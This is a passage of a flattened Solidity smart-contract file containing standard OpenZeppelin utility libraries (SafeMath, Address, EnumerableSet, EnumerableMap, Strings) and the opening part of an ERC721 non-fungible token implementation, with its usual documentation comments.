* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
